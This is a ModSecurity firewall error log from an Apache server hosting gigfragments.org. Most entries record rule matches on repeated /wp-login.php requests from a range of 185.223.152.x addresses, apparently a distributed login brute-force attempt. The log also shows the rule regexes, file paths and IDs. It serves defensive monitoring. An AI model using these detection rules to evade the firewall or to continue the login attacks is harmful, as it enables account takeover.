[Sat Dec 20 07:40:24.171744 2025] [:error] [pid 39493:tid 39551] [client 185.223.152.179:36003] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXiaGhjL2VG_FmIHqAoTwAAAII"]
[Sat Dec 20 07:40:25.116011 2025] [:error] [pid 39577:tid 39598] [client 185.223.152.187:55627] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXiabviRnt1rJiSOfyh7AAAANM"]
[Sat Dec 20 07:52:08.804002 2025] [:error] [pid 39491:tid 39514] [client 185.223.152.194:56727] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXlKFtw2ggYvDxu2ED9LAAAABM"]
[Sat Dec 20 07:52:08.806969 2025] [:error] [pid 14286:tid 14310] [client 185.223.152.189:28561] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXlKJ7rbXIrw6rGSdbmiAAAAVQ"]
[Sat Dec 20 08:01:21.183322 2025] [:error] [pid 14247:tid 14260] [client 185.223.152.185:34741] [client 185.223.152.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXnUSDv9TtKKdJQn9mIsAAAAQs"]
[Sat Dec 20 08:01:21.290338 2025] [:error] [pid 39492:tid 39531] [client 185.223.152.197:63909] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXnUYs_ZYP1UQNM9hbU7wAAAEk"]
[Sat Dec 20 08:07:34.483560 2025] [:error] [pid 39492:tid 39539] [client 185.223.152.197:42001] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXoxos_ZYP1UQNM9hbVxQAAAFE"]
[Sat Dec 20 08:07:34.484041 2025] [:error] [pid 39493:tid 39551] [client 185.223.152.195:21571] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXoxmhjL2VG_FmIHqBJTwAAAII"]
[Sat Dec 20 08:12:42.016941 2025] [:error] [pid 39577:tid 39586] [client 185.223.152.197:43589] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXp-rviRnt1rJiSOfzCUwAAAMc"]
[Sat Dec 20 08:12:42.019200 2025] [:error] [pid 39577:tid 39601] [client 185.223.152.187:56363] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXp-rviRnt1rJiSOfzCVAAAANY"]
[Sat Dec 20 08:17:50.904895 2025] [:error] [pid 39491:tid 39507] [client 185.223.152.192:50699] [client 185.223.152.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXrLltw2ggYvDxu2EABlQAAAAw"]
[Sat Dec 20 08:17:50.904895 2025] [:error] [pid 39492:tid 39542] [client 185.223.152.186:42719] [client 185.223.152.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXrLos_ZYP1UQNM9hbXhAAAAFQ"]
[Sat Dec 20 08:24:33.955052 2025] [:error] [pid 39493:tid 39573] [client 185.223.152.228:37015] [client 185.223.152.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXswWhjL2VG_FmIHqBMvgAAAJg"]
[Sat Dec 20 08:24:33.955948 2025] [:error] [pid 18807:tid 18818] [client 185.223.152.198:41117] [client 185.223.152.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXswWRP9n5OCTllYeU47wAAAYk"]
[Sat Dec 20 08:29:35.890890 2025] [:error] [pid 39577:tid 39596] [client 185.223.152.193:28281] [client 185.223.152.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXt77viRnt1rJiSOfzF9gAAANE"]
[Sat Dec 20 08:29:35.891806 2025] [:error] [pid 39491:tid 39499] [client 185.223.152.200:54319] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXt71tw2ggYvDxu2EADLgAAAAQ"]
[Sat Dec 20 08:34:35.109161 2025] [:error] [pid 14247:tid 14257] [client 185.223.152.187:52789] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXvGyDv9TtKKdJQn9mOlgAAAQg"]
[Sat Dec 20 08:34:35.109161 2025] [:error] [pid 14286:tid 14309] [client 185.223.152.189:49331] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUXvG57rbXIrw6rGSdbtGAAAAVM"]
[Sat Dec 20 09:08:05.476507 2025] [:error] [pid 39493:tid 39569] [client 185.223.152.180:26861] [client 185.223.152.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX29WhjL2VG_FmIHqBWmwAAAJQ"]
[Sat Dec 20 09:13:24.159948 2025] [:error] [pid 39493:tid 39564] [client 185.223.152.187:26629] [client 185.223.152.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX4NGhjL2VG_FmIHqBXsAAAAI8"]
[Sat Dec 20 09:13:24.160707 2025] [:error] [pid 39491:tid 39513] [client 185.223.152.199:33033] [client 185.223.152.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX4NFtw2ggYvDxu2EAJ6QAAABI"]
[Sat Dec 20 09:18:29.306026 2025] [:error] [pid 14286:tid 14312] [client 185.223.152.200:34413] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX5ZZ7rbXIrw6rGSdb0cQAAAVY"]
[Sat Dec 20 09:18:29.306573 2025] [:error] [pid 14286:tid 14297] [client 185.223.152.179:31845] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX5ZZ7rbXIrw6rGSdb0cgAAAUc"]
[Sat Dec 20 09:30:13.974220 2025] [:error] [pid 14286:tid 14306] [client 185.223.152.195:42609] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX8JZ7rbXIrw6rGSdb2DwAAAVA"]
[Sat Dec 20 09:30:14.108320 2025] [:error] [pid 14286:tid 14301] [client 185.223.152.181:55759] [client 185.223.152.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX8Jp7rbXIrw6rGSdb2EAAAAUs"]
[Sat Dec 20 09:42:22.783610 2025] [:error] [pid 18807:tid 18814] [client 185.223.152.201:44135] [client 185.223.152.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX-_mRP9n5OCTllYeVQlgAAAYU"]
[Sat Dec 20 09:42:22.783610 2025] [:error] [pid 14247:tid 14263] [client 185.223.152.202:30795] [client 185.223.152.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUX-_iDv9TtKKdJQn9mZqgAAAQ4"]
[Sat Dec 20 09:47:33.954709 2025] [:error] [pid 39492:tid 39534] [client 185.223.152.196:33921] [client 185.223.152.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYANYs_ZYP1UQNM9hbmVwAAAEw"]
[Sat Dec 20 09:47:34.059280 2025] [:error] [pid 39577:tid 39589] [client 185.223.152.176:46113] [client 185.223.152.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYANrviRnt1rJiSOfzVFQAAAMo"]
[Sat Dec 20 09:54:29.477979 2025] [:error] [pid 18807:tid 18822] [client 185.223.152.190:58929] [client 185.223.152.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYB1WRP9n5OCTllYeVTsAAAAY0"]
[Sat Dec 20 09:54:29.478160 2025] [:error] [pid 14286:tid 14296] [client 185.223.152.203:50681] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYB1Z7rbXIrw6rGSdb5VwAAAUY"]
[Sat Dec 20 09:59:35.656029 2025] [:error] [pid 18807:tid 18827] [client 185.223.152.196:41215] [client 185.223.152.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYDB2RP9n5OCTllYeVVQAAAAZI"]
[Sat Dec 20 09:59:35.665605 2025] [:error] [pid 39493:tid 39556] [client 185.223.152.202:50381] [client 185.223.152.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYDB2hjL2VG_FmIHqBhVgAAAIc"]
[Sat Dec 20 10:13:09.104907 2025] [:error] [pid 18807:tid 18819] [client 185.223.152.193:23681] [client 185.223.152.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYGNWRP9n5OCTllYeVa6gAAAYo"]
[Sat Dec 20 10:13:09.110089 2025] [:error] [pid 39491:tid 39507] [client 185.223.152.189:37489] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYGNVtw2ggYvDxu2EATmQAAAAw"]
[Sat Dec 20 10:18:19.855538 2025] [:error] [pid 39492:tid 39537] [client 185.223.152.186:32409] [client 185.223.152.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYHa4s_ZYP1UQNM9hbqugAAAE8"]
[Sat Dec 20 10:18:19.855542 2025] [:error] [pid 39493:tid 39566] [client 185.223.152.190:34569] [client 185.223.152.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYHa2hjL2VG_FmIHqBmUwAAAJE"]
[Sat Dec 20 10:23:40.797245 2025] [:error] [pid 39493:tid 39549] [client 185.223.152.183:35077] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYIrGhjL2VG_FmIHqBn1wAAAIA"]
[Sat Dec 20 10:23:40.797789 2025] [:error] [pid 39493:tid 39570] [client 185.223.152.184:55183] [client 185.223.152.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYIrGhjL2VG_FmIHqBn2AAAAJU"]
[Sat Dec 20 10:28:49.791184 2025] [:error] [pid 14286:tid 14291] [client 185.223.152.192:25985] [client 185.223.152.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYJ4Z7rbXIrw6rGSdb_kgAAAUE"]
[Sat Dec 20 10:28:49.794237 2025] [:error] [pid 39492:tid 39528] [client 185.223.152.183:59157] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYJ4Ys_ZYP1UQNM9hbsuQAAAEY"]
[Sat Dec 20 10:34:16.403826 2025] [:error] [pid 39577:tid 39580] [client 185.223.152.178:36421] [client 185.223.152.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYLKLviRnt1rJiSOfzeVAAAAME"]
[Sat Dec 20 10:34:16.419423 2025] [:error] [pid 39577:tid 39586] [client 185.223.152.195:44657] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYLKLviRnt1rJiSOfzeVQAAAMc"]
[Sat Dec 20 10:35:13.500377 2025] [:error] [pid 39491:tid 39517] [client 74.208.123.88:51178] [client 74.208.123.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.123.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYLYVtw2ggYvDxu2EAXcQAAABY"]
[Sat Dec 20 10:36:19.487544 2025] [:error] [pid 39491:tid 39518] [client 74.208.123.88:34166] [client 74.208.123.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.123.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYLo1tw2ggYvDxu2EAXgQAAABc"]
[Sat Dec 20 10:42:07.179225 2025] [:error] [pid 39493:tid 39565] [client 185.223.152.199:43687] [client 185.223.152.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYM_2hjL2VG_FmIHqBrvAAAAJA"]
[Sat Dec 20 10:42:07.180698 2025] [:error] [pid 39492:tid 39542] [client 185.223.152.189:37305] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYM_4s_ZYP1UQNM9hbungAAAFQ"]
[Sat Dec 20 10:47:25.360628 2025] [:error] [pid 39491:tid 39518] [client 185.223.152.186:33659] [client 185.223.152.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYOPVtw2ggYvDxu2EAZIgAAABc"]
[Sat Dec 20 10:47:25.385568 2025] [:error] [pid 14286:tid 14312] [client 185.223.152.199:42525] [client 185.223.152.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYOPZ7rbXIrw6rGSdYCYAAAAVY"]
[Sat Dec 20 10:51:59.342913 2025] [:error] [pid 39493:tid 39555] [client 43.130.57.76:49622] [client 43.130.57.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUYPT2hjL2VG_FmIHqBuSAAAAIY"]
[Sat Dec 20 10:52:41.585325 2025] [:error] [pid 39492:tid 39529] [client 185.223.152.195:38137] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYPeYs_ZYP1UQNM9hbwEgAAAEc"]
[Sat Dec 20 10:52:41.586038 2025] [:error] [pid 18807:tid 18830] [client 185.223.152.193:51261] [client 185.223.152.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYPeWRP9n5OCTllYeVmSAAAAZU"]
[Sat Dec 20 11:00:42.657936 2025] [:error] [pid 14286:tid 14298] [client 185.223.152.177:55865] [client 185.223.152.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYRWp7rbXIrw6rGSdYE-QAAAUg"]
[Sat Dec 20 11:06:07.904354 2025] [:error] [pid 18807:tid 18813] [client 185.223.152.179:42105] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYSn2RP9n5OCTllYeVrtAAAAYQ"]
[Sat Dec 20 11:06:07.922412 2025] [:error] [pid 39577:tid 39591] [client 185.223.152.196:21053] [client 185.223.152.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYSn7viRnt1rJiSOfzlRwAAAMw"]
[Sat Dec 20 11:11:25.613384 2025] [:error] [pid 39577:tid 39579] [client 185.223.152.197:51943] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYT3bviRnt1rJiSOfzmIQAAAMA"]
[Sat Dec 20 11:11:26.666561 2025] [:error] [pid 14247:tid 14266] [client 185.223.152.182:63157] [client 185.223.152.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYT3iDv9TtKKdJQn9mopAAAARE"]
[Sat Dec 20 11:22:11.649666 2025] [:error] [pid 39493:tid 39570] [client 185.223.152.196:27789] [client 185.223.152.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYWY2hjL2VG_FmIHqB1YQAAAJU"]
